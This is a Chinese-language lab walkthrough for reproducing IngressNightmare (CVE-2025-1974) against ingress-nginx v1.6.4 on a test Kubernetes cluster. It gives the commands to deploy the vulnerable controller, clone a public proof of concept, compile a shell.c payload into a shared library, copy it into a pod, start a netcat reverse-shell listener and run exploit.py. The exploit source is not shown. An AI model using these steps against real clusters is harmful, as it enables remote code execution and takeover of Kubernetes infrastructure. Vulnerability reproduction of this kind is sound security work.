【云安全】云原生- K8S IngressNightmare CVE-2025-1974（漏洞复现完整教程）

https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities

https://github.com/kubernetes/ingress-nginx

export http_proxy="http://192.168.48.1:7890"export https_proxy="http://192.168.48.1:7890"wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.6.4/deploy/static/provider/baremetal/deploy.yaml

cat deploy.yaml | grep image:

#镜像同步站链接https://docker.aityp.com/

swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/controller:v1.6.4swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20220916-gd32f8c343swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20220916-gd32f8c343

#部署前先取消代理unset http_proxyunset https_proxy#部署kubectl apply -f deploy.yaml#验证kubectl get all -n ingress-nginx

kubectl describe pod ingress-nginx-controller-85f587f9d4-bt58m -n ingress-nginx

kubectl get nodekubectl describe node master-1 | grep Taintkubectl taint nodes master-1 node-role.kubernetes.io/master:NoSchedule-kubectl describe node master-1 | grep Taint

cat <<EOF >Dockerfile# 使用官方Python基础镜像FROM python:3.11.7# 设置工作目录WORKDIR /app# 安装httpx库RUN pip install --no-cache-dir httpx# 设置容器启动时运行的命令CMD ["python", "-c", "import httpx; import time; print('Httpx library is available'); time.sleep(9999999)"]EOF#构建命令docker build -t python-test-ingress-nginx .

docker save python-test-ingress-nginx | sudo ctr -n=k8s.io images import -#确认镜像是否导入成功sudo ctr -n k8s.io image ls | grep python

cat <<EOF >python_deploy.yamlapiVersion: apps/v1kind: Deploymentmetadata:  name: python-app  namespace: testspec:  replicas: 1  selector:    matchLabels:      app: python-app  template:    metadata:      labels:        app: python-app    spec:      containers:      - name: python-container        image: docker.io/library/python-test-ingress-nginx:latest        imagePullPolicy: NeverEOF

kubectl create ns testkubectl apply -f python_deploy.yaml#验证状态kubectl get pod -n test

https://github.com/yoshino-s/CVE-2025-1974

export http_proxy="http://192.168.48.1:7890"export https_proxy="http://192.168.48.1:7890"git clone https://github.com/yoshino-s/CVE-2025-1974.gitcd CVE-2025-1974/

vim exploit.py

vim shell.c

kubectl get pod -n ingress-nginxkubectl exec -it -n ingress-nginx ingress-nginx-controller-85f587f9d4-gwm8r -- bash#进入ingress容器之后执行find / -name "libcrypto.so*" 2>/dev/null

gcc -fPIC -Wall -shared -o shell.so shell.c /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/2/fs/usr/lib/x86_64-linux-gnu/libcrypto.so.3#验证ldd shell.so

#查看POD名称kubectl get pod -n test#上传kubectl cp ./shell.so -n test python-app-94bdc8d99-prz64:/app/kubectl cp ./exploit.py -n test python-app-94bdc8d99-prz64:/app/kubectl cp ./req.json -n test python-app-94bdc8d99-prz64:/app/

nc -lvnp 7788

kubectl exec -it -n test python-app-94bdc8d99-prz64 -- bash#进入POD后执行python exploit.py